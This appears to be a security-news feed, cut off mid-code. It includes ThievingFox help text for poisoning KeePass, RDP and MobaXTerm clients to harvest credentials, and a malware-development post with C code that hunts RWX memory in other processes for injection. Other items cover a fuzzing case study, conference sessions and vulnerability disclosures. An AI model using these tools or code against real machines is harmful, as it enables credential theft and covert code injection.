usage: ThievingFox.py poison [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-path KEEPASS_PATH]
[--keepass-share KEEPASS_SHARE] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--mstsc-poison-hkcr]
[--consent] [--logonui] [--rdcman] [--rdcman-poison-hkcr] [--mobaxterm] [--mobaxterm-poison-hkcr] [--all]
target

positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of the domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Try to poison KeePass.exe
--keepass-path KEEPASS_PATH
The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
--keepass-share KEEPASS_SHARE
The share on which KeePass is installed (Default: c$)
--keepassxc Try to poison KeePassXC.exe
--keepassxc-path KEEPASSXC_PATH
The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
--ke epassxc-share KEEPASSXC_SHARE
The share on which KeePassXC is installed (Default: c$)
--mstsc Try to poison mstsc.exe
--mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not
logged in (Default: False)
--consent Try to poison Consent.exe
--logonui Try to poison LogonUI.exe
--rdcman Try to poison RDCMan.exe
--rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not
logged in (Default: False)
--mobaxterm Try to poison MobaXTerm.exe
--mobaxterm-poison-hkcr
Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not
logged in (Default: False)
--all Try to poison all applications

Cleanup

For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.

For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.

Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.

It does not clean extracted credentials on the remote host.

[!IMPORTANT] If the targeted application is in use while the cleanup module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, the cleanup module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted by ThievingFox are logged.

$ python3 client/ThievingFox.py cleanup -h
usage: ThievingFox.py cleanup [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-share KEEPASS_SHARE]
[--keepass-path KEEPASS_PATH] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--consent] [--logonui]
[--rdcman] [--mobaxterm] [--all]
target

positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of the domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Try to cleanup all poisonning artifacts related to KeePass.exe
--keepass-share KEEPASS_SHARE
The share on which KeePass is installed (Default: c$)
--keepass-path KEEPASS_PATH
The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
--keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe
--keepassxc-path KEEPASSXC_PATH
The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
--keepassxc-share KEEPASSXC_SHARE
The share on which KeePassXC is installed (Default: c$)
--mstsc Try to cleanup all poisonning artifacts related to mstsc.exe
--consent Try to cleanup all poisonning artifacts related to Consent.exe
--logonui Try to cleanup all poisonning artifacts related to LogonUI.exe
--rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe
--mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe
--all Try to cleanup all poisonning artifacts related to all applications

Collect

For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.

Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.

$ python3 client/ThievingFox.py collect -h
usage: ThievingFox.py collect [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepassxc] [--mstsc] [--consent]
[--logonui] [--rdcman] [--mobaxterm] [--all]
target

positional arguments:
target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
-h, --help show this help message and exit
-hashes HASHES, --hashes HASHES
LM:NT hash
-aesKey AESKEY, --aesKey AESKEY
AES key to use for Kerberos Authentication
-k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
-dc-ip DC_IP, --dc-ip DC_IP
IP Address of th e domain controller
-no-pass, --no-pass Do not prompt for password
--tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
--keepass Collect KeePass.exe logs
--keepassxc Collect KeePassXC.exe logs
--mstsc Collect mstsc.exe logs
--consent Collect Consent.exe logs
--logonui Collect LogonUI.exe logs
--rdcman Collect RDCMan.exe logs
--mobaxterm Collect MobaXTerm.exe logs
--all Collect logs from all applications


Cisco Talos at RSAC 2024

30 April 2024 at 12:00
Cisco Talos at RSAC 2024

With RSAC just a week away, Cisco Talos is gearing up for another year of heading to San Francisco to share in some of the latest major cybersecurity announcements, research and news.  

We’ve pulled together the highlights, so you don’t miss out on all things Talos.  

Tuesday, May 5  

Joe Marshall will be presenting on Project Power Up alongside Tara Vasyliv of NPC UKRENERGO on how Talos has helped to protect Ukraine’s power grid from disruptive electronic warfare. Reserve your seat for the 8:30 a.m. session here

Nick Biasini will be giving a lighting talk at the Cisco Booth N-5845 in the North Hall at 3:30 p.m. on the good, the bad and the ugly of ransomware in 2024.  

Wednesday, May 6  

Nicole Hoffman will be signing her children’s book, “The Mighty Threat Intelligence Warrior,” at 12:30 p.m. in the RSA Bookstore located in Moscone South, Esplanade Level.  

Thursday, May 7  

Hoffman will be out again, this time hosting a session on applying past lessons learned in hopes of a better future for identify threat detection at 9:40 a.m. in Moscone West 3022. Reserve a seat for the session here.  

And you can always follow along all week on X and LinkedIn for the latest updates.  

Curvance: Invariants unleashed

30 April 2024 at 13:30

By Nat Chin

Welcome to our deep dive into the world of invariant development with Curvance.

We’ve been building invariants as part of regular code review assessments for more than 6 years now, but our work with Curvance marks our very first official invariant development project, in which developing and testing invariants is all we did.

Over the nine-week engagement, we wrote and tested 216 invariants, which helped us uncover 13 critical findings. We also found opportunities to significantly enhance our tools, including advanced trace printing and corpus preservation. This project was a journey of navigating learning curves and accomplishing technological feats, and this post will highlight our collaborative efforts and the essential role of teamwork in helping us meet the challenge. And yes, we’ll also touch on the brain-cell-testing moments we experienced throughout this project!

A collective “losing it” moment, capturing the challenges of this project

Creating a quality fuzzing suite

The success of a fuzzing suite is grounded in the quality of its invariants. Throughout this project, we focused on fine-tuning each invariant for accuracy and relevance. Fuzzing, in essence, is like having smart monkeys on keyboards testing invariants, whose effectiveness relies heavily on their precision. Our journey with Curvance over nine weeks involved turning in-depth discussions on codebase properties into precise English explanations and then coding them into executable tests, as shown in the screenshots below.

Examples of what our daily discussions looked like to clarify invariants

From the get-go, Chris from Curvance was often available to help clarify the code’s expected behavior and explain Curvance’s design choices. His insights always clarified complex functions and behavior, and he always helped with hands-on debugging and checking our invariants. This engagement was as productive as it was thanks to Chris’s consistent feedback and working alongside us the entire time. Thank you, Curvance!

The tools (and support teams) behind our success

Along with Curvance’s involvement, support from our internal teams behind Echidna, Medusa, and CloudExec helped our project succeed. Their swift responses to issues, especially during extensive rebases and complex debugging, were crucial. The Curvance engagement pushed these tools to their limits, and the solutions we had to come up with for the challenges we faced led to significant enhancements in these tools.

CloudExec proved invaluable for deploying long fuzzing jobs onto DigitalOcean. We integrated it with Echidna and Medusa for prolonged runs, enabling Curvance to easily set up its own future fuzzing runs. We pinpointed areas of improvement for CloudExec, such as its preservation of output data, which you can see on its GitHub issue tracker. We’ve already addressed many of these issues.

Echidna, our property-based fuzzer for Ethereum contracts, was pivotal in falsifying assertions. We first used Echidna in exploration mode to broadly cover the Curvance codebase, and then we moved into assertion mode, using anywhere from 10 million to 100 billion iterations. This intense use of Echidna throughout our nine-week engagement helped us uncover vital areas of improvement for the tool, making it easier for it to debug and retain the state of explored code areas.

Medusa, our geth-based experimental fuzzer, complemented Echidna in its coverage efforts for falsifying invariants on Curvance. Before we could use Medusa for this engagement, we needed to fix a known out-of-memory bug. The fix for this bug—along with fixes implemented in CloudExec to help it better preserve output data—critically improved the tool and helped maximize our coverage of the Curvance code. Immediately after it started running, it found a medium-severity bug in the code that Echidna had missed. (Echidna eventually found this bug after we changed the block time delay, likely due to the fuzzer’s non-determinism.)

Our first Medusa run of 48+ hours resulted in a medium-severity bug.

The long and winding road

While we had the best support from the teams behind our tools and from our client that we could have asked for, we still faced considerable challenges throughout this project—from the need to keep pace with Curvance’s continued development, to the challenges of debugging assertion failures. But by meeting these challenges, we learned important lessons about the nature of invariant development, and we were able to implement crucial upgrades to our tools to improve our process overall.

Racing to keep up with Curvance’s code changes

Changes to the Curvance codebase—like function removals, additions of function parameters, adjustments to arguments and error messages, and renaming of source contracts—often challenged our fuzzing suite by invalidating existing invariants or causing a series of assertion failures. Ultimately, these changes rendered our existing corpus items obsolete and unusable, and we had to rebase our fuzzing suite and revise both existing and new invariants constantly to ensure their continued relevance to the evolving system. This iterative process paralleled the client’s code development, presenting a mix of true positives (actual bugs in the client’s code) and false positives (failures due to incorrect or outdated invariants). Such outcomes emphasized that fuzzing isn’t a static, one-time setup; it demands ongoing maintenance and updates, akin to development of any active codebase.

Understanding the rationale behind each invariant change post-rebase is crucial. Hasty adjustments without fully grasping their implications could inadvertently mask bugs, undermining the effectiveness of the fuzzing suite. Keeping the suite alive and relevant is as vital as the development of the codebase itself. It’s not just about letting the fuzzer run; it’s about maintaining its alignment with the system it tests. Remember, the true power of a fuzzing suite lies in the accuracy of its invariants.

Critical tool upgrades and lessons learned

We had to make a significant rebase after the Lendtroller contract’s name was changed to MarketManager in commit a96dc9a. This change drastically impacted our work, as Echidna had just finished 43 days of running in the cloud using CloudExec. This nonstop execution had allowed Echidna to develop a detailed corpus capable of autonomously tackling complex liquidations. Unfortunately, the change rendered this corpus obsolete, and each corpus item caused Echidna worker threads to crash upon transaction replay. With our setup of 15 workers, it took only 14 more transactions that could not be replayed for all the Echidna workers to crash, halting Echidna entirely:

An Echidna crash resulting from not being able to replay corpus item

Our rebase due to Curvance’s code change led to a significant problem: our fuzzers could no longer access MarketManager functions needed to explore complex state, like posting collateral and borrowing debt. This issue prompted us to make crucial updates to Echidna, specifically to enhance its ability to validate and replay corpus sequences without crashing. We also made updates to Medusa to improve its tracking of corpus health and ability to fix start-up panics. Extended discussions about maintaining a dynamic corpus ensued, with our engineering director stepping in to manually adjust the corpus, offering some relief.

We shifted our strategy to adjust to the new codebase’s lack of coverage. We developed liquidation-specific invariants for the codebase version before the contract name change, while running the updated version in different modes to boost coverage. CloudExec’s new features, like named jobs, improved checkpointing of output directories, and checkpointing for failed jobs, were key in differentiating and managing these runs. Despite all these improvements, we let the old corpus go and chose to integrate setup functions into key contracts to speed up coverage. While effective in increasing coverage, this strategy introduced biases, especially in liquidation scenarios, by relying on static values. This limitation, marked in the codebase with /// @coverage:limitation tags, underscores the importance of broadening input ranges in our stateful tests to ensure comprehensive system exploration.

Trials and tribulations: Debugging

The Curvance invariant development report mainly highlights the results of our debugging without delving into the complex journey of investigation and root cause analysis behind these findings. This part of the process, involving detailed analysis once assertion failures were identified, required significant effort.

Our primary challenge was dissecting long call sequences, often ranging from 9 to 70 transactions, which required deep scrutiny to identify where errors and unexpected values crept in. Some sequences spanned up to 29 million blocks or included time delays exceeding 6 years, adding layers of complexity to our understanding of the system’s behavior. To tackle this, we had to manually insert logs for detailed state information, turning debugging into an exhaustive and manual endeavor:

Echidna’s debugging at the beginning of the engagement

Our ability to manually shrink transaction sequences hinged on our deep understanding of Curvance’s system. This detailed knowledge was critical for us to effectively identify which transactions were essential for uncovering vulnerabilities and which could be discarded. As we gained this deeper insight into the system throughout the project, our ability to streamline transaction sequences improved markedly.

Based on our work with combing through transaction sequences, we implemented a rich reproducer trace feature in Echidna, providing us with detailed traces of the system during execution and elaborate printouts of the system state at each step of the transaction failure sequence. Meanwhile, we also added shrinking limits of transaction sequences to Medusa to fix intermittent assertion failures, and we updated Medusa’s coverage report to increase its readability. The stark difference in Echidna’s trace printing after these updates can easily be seen in the figure below:

Echidna’s call sequences with rich traces at the end of the engagement

Finally, we created corresponding unit tests based on most assertion failures during our engagement. Initially, converting failures to unit tests was manual and time-consuming, but by the end, we streamlined the process to take just half an hour. We used the insights we gained from this experience to develop fuzz-utils, an automated tool for converting assertion failures into unit tests. Although it’s yet to be extensively tested, its potential for future engagements excites us!

One lock too many: The story behind TOB-CURV-4

After a significant change to the Curvance codebase, we encountered a puzzling assertion failure. Initially, we suspected it might be a false positive, a common occurrence with major code changes. However, after checking the changes in the Curvance source code, the root cause wasn’t immediately apparent, leading us into a complex and thorough debugging process.

We analyzed the full reproducer traces in Echidna (an Echidna feature that was added during this engagement, as mentioned in the previous section), and we tested assumptions on different senders. We crafted and executed a series of unit tests, each iteration shedding more light on the underlying mechanics. It was time to zoom out to identify the commonalities in the functions involved in the new assertion failures, leading us to focus on the processExpiredLock function. By closely scrutinizing this function, we discovered an important assertion was missing: ensuring the number of user locks stays the same after a call to the function with the “relock” option.

When we reran the fuzzer, it immediately revealed the error: such a call would process the expired lock but incorrectly grant the user a new lock without removing the old one, leading to an unexpected increase in the total number of locks. This caused all forms of issues in the combineAllLocks function: the contracts always thought the user had one more lock than they actually had. Eureka!

This trace shows the increase in the number of user locks after the expired lock is processed:

The trace for the increase in user locks, provided in the full invariant development report in finding TOB-CURV-4

What made this finding particularly striking was its ability to elude detection through the various security reviews and tests. The unit tests, as it turned out, were checking an incorrect postcondition, concealing the bug in its checks, masking its error within the testing suite. The stateless fuzzing tests on this codebase (built by Curvance before this engagement) actually started to fail after this bug was fixed. This highlighted the necessity of not only complex and meticulous testing that validates every aspect of the codebase, but also of continually questioning and validating every aspect of the target code—and its tests.

What’s next?

Reflecting on our journey with Curvance, we recognize the importance of a comprehensive security toolkit for smart contracts, including unit, integration, and fuzz tests, to uncover system complexities and potential issues. Our collaboration over the past nine weeks has allowed us to meticulously examine and understand the system, enhancing our findings’ accuracy and deepening our mutual knowledge. Working closely with Curvance has proven crucial in revealing the technology’s intricacies, leading to the development of a stateful fuzzing suite that will evolve and expand with the code, ensuring continued security and insights.

Take a look at our findings in the public Curvance report! Or dive into the Curvance fuzzing suite, now open through the Cantina Competition! Simply download and unzip corpus.zip into the curvance/ directory, then run make el for Echidna or make ml for Medusa. We’ve designed it for ease of use and expansion. Encounter any issues? Let us know! For detailed instructions and suite extension tips, check the Curvance-CantinaCompetition README and keep an eye out for the /// @custom:limitation tags in the suite.

And if you’re developing a project and want to explore stateful fuzzing, we’d love to chat with you!

LABScon23 Replay | From Vulkan to Ryazan – Investigative Reporting from the Frontlines of Infosec

By: LABScon
30 April 2024 at 16:12

During the last couple of years, Hakan Tanriverdi (@hatr) has reported on several large-scale digital espionage and sabotage campaigns, from hacking groups that were later called out by the Department of Justice to companies targeting critical infrastructure in Germany and across Western Europe. In both cases, mistakes in how the attackers set up their infrastructure enabled Hakan’s team to follow their tracks, in some cases right back to their employers. The resulting stories revealed the intersection where covert cyber operations and overt organizational structures meet.

This talk lays out the types of information investigative reporters work with, how they follow and fact-check opaque leads, and how they turn them into portraits of previously unknown actors pulling the strings in cyberspace.

Covering investigations into Turla, Magna Bear and REvil, this talks offers a fascinating insight into how researchers peel back the layers threat actors use to mask their activities.

About the Presenter

Hakan Tanriverdi works as a reporter for Paper Trail Media covering cybersecurity. He mainly focuses on hacking groups and trying to find out who they are working for, on a name- and employer-basis. His investigations tend to be on the more technical side and are assisted by scripts, scrapers and querying databases.

About LABScon 2023

This presentation was featured live at LABScon 2023, an immersive 3-day conference bringing together the world’s top cybersecurity minds, hosted by SentinelOne’s research arm, SentinelLabs.

Keep up with all the latest on LABScon 2024 here.

Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service

30 April 2024 at 19:33

In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.

The post Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service appeared first on Horizon3.ai.

Yesterday — 1 May 2024Main stream

OSTE-Web-Log-Analyzer - Automate The Process Of Analyzing Web Server Logs With The Python Web Log Analyzer


Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:


Features

  1. Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.

  2. Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.

  3. Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.

  4. User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.

Future Features

This project is actively developed, and future features may include:

  1. IP Geolocation: Identify the geographic location of IP addresses in the logs.
  2. Real-time Monitoring: Implement real-time monitoring capabilities for immediate threat detection.

Installation

The tool only requires Python 3 at the moment.

  1. step1: git clone https://github.com/OSTEsayed/OSTE-Web-Log-Analyzer.git
  2. step2: cd OSTE-Web-Log-Analyzer
  3. step3: python3 WLA-cli.py

Usage

After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t

use -h or --help for more detailed usage examples : python3 WLA-cli.py -h

Contact

linkdin:(https://www.linkedin.com/in/oudjani-seyyid-taqy-eddine-b964a5228)



Vulnerabilities in employee management system could lead to remote code execution, login credential theft

1 May 2024 at 16:00
Vulnerabilities in employee management system could lead to remote code execution, login credential theft

Cisco Talos’ Vulnerability Research team has disclosed more than a dozen vulnerabilities over the past three weeks, five in a device that allows employees to check in and out of their shifts, and another that exists in an open-source library used in medical device imaging files. 

The Peplink Smart Reader contains several vulnerabilities, including one issue that could allow an adversary to obtain the administrator’s login credentials and the MD5-hashed version of their password. 

Talos also recently helped to responsibly disclose and patch other vulnerabilities in the Foxit PDF Reader and two open-source libraries that support the processing and handling of DICOM files. 

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

Code execution, information disclosure vulnerabilities in Peplink Smart Reader 

Discovered by Matt Wiseman. 

The Peplink Smart Reader is an internet-connected device associated with the PepXIM Time-Logging and Security System. Companies’ employees use this device to check in and out of their shifts, allowing administrators to keep track of time cards and pay. It also can control access to certain buildings, and even public transportation. 

There are two information disclosure vulnerabilities, TALOS-2023-1863 (CVE-2023-43491) and TALOS-2023-1865 (CVE-2023-45209), that are triggered if an adversary sends a specially crafted HTTP message to the targeted device.  

If successful, the attacker could eventually view the active administrator’s username and MD5-hased password. And in the case of TALOS-2023-1865, it goes a step further, potentially allowing the adversary to view wireless network credentials, network configuration details and SNMP configuration details. 

With those credentials (or admin credentials obtained by other means), an adversary could exploit TALOS-2023-1868 (CVE-2023-40146), a privilege escalation vulnerability in the Smart Reader. An adversary could execute a specially crafted command line argument to cause a limited-shell escape and execute unblocked, default busybox functionality to eventually gain access to an uninhibited root shell. 

TALOS-2023-1866 (CVE-2023-45744) is also triggered by a specially crafted HTTP request, but in this case, could allow an adversary to manipulate certain configuration settings on the device. 

The most serious of the issues Talos discovered in the Smart Reader is TALOS-2023-1867 (CVE-2023-39367), a command injection vulnerability that could allow an attacker to execute arbitrary commands. This vulnerability has a 9.1 CVSS score out of 10. An authenticated attacker can leverage this vulnerability to execute arbitrary commands on the device with root privileges and elevate their access to the vulnerable system. 

Silicon Labs Gecko Platform invalid pointer dereference vulnerability 

Discovered by Kelly Patterson. 

An invalid pointer dereference vulnerability exists in the HTTP server header parsing functionality of the Silicon Labs Gecko Platform.  

The Gecko Platform SDK is the collection of Silicon Labs’ wireless software development kits and Gecko Platform into an integrated package. It allows users to develop applications inside Silicon Labs’ internet-of-things software ecosystem. 

TALOS-2024-1945 (CVE-2023-51391) is triggered if an adversary sends the target a specially crafted network packet, which could lead to a denial-of-service condition. 

Incorrect type conversion vulnerability in open-source library for DICOM files 

Discovered by Emmanuel Tacheau. 

There is an incorrect type conversion vulnerability in OFFIS DCMTK, an open-source library often used to manage, store and convert DICOM files. DICOM is the commonly used file type to transfer, send and store medical imaging files, such as X-rays and ultrasounds.  

Hospitals and companies use DCMTK for various purposes, ranging from product testing to being a building block for research projects, prototypes and commercial products. 

TALOS-2024-1957 (CVE-2024-28130) could allow an adversary to execute arbitrary code on the targeted machine if they trick the user into opening a specially crafted file.  

Out-of-bounds write vulnerabilities in Grassroots DICOM library 

Discovered by Emmanuel Tacheau. 

Another open-source library for handling DICOM files, Grassroots DiCoM, contains three out-of-bounds writer vulnerabilities.  

TALOS-2024-1944 (CVE-2024-25569) and TALOS-2024-1935 (CVE-2024-22373) can be triggered if an adversary tricks the target into opening a specially crafted, malicious DICOM file, eventually allowing them to read out-of-bounds memory. 

TALOS-2024-1924 (CVE-2024-22391) works in the same way, but in this case, causes a heap-based buffer overflow, leading to memory corruption.  

Three vulnerabilities in Foxit PDF Reader could lead to arbitrary code execution 

Discovered by KPC. 

Three vulnerabilities exist in Foxit PDF Reader that could allow an adversary to execute arbitrary code on the targeted machine. 

Foxit PDF Reader is one of the most popular pieces of PDF-reading software currently available and aims to have feature parity with Adobe Acrobat Reader. It also includes a browser plugin to allow users to open files in their web browsers.  

TALOS-2024-1959 (CVE-2024-25648) and TALOS-2024-1958 (CVE-2024-25938) are use-after-free vulnerabilities that can be triggered if an attacker tricks a user into opening a malicious, specially crafted PDF. This could also work if the user has the browser plugin enabled and the adversary tricks them into opening an attacker-controlled webpage. These vulnerabilities could lead to a use-after-free issue, potentially leading to memory corruption and arbitrary code execution. 

There is also a type confusion vulnerability, TALOS-2024-1963 (CVE-2024-25575), that could also lead to memory corruption and arbitrary code execution. 

Today — 2 May 2024Main stream

Malware development trick 38: Hunting RWX - part 2. Target process investigation tricks. Simple C/C++ example.

1 May 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.

practical example

Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).

Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}

Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}


int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

malware

And run it at the victim’s machine (Windows 11 x64 in my case):

malware

Try on another target process, for example OneDrive.exe:

malware

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =^..^=

practical example 2

But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:

malware

As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
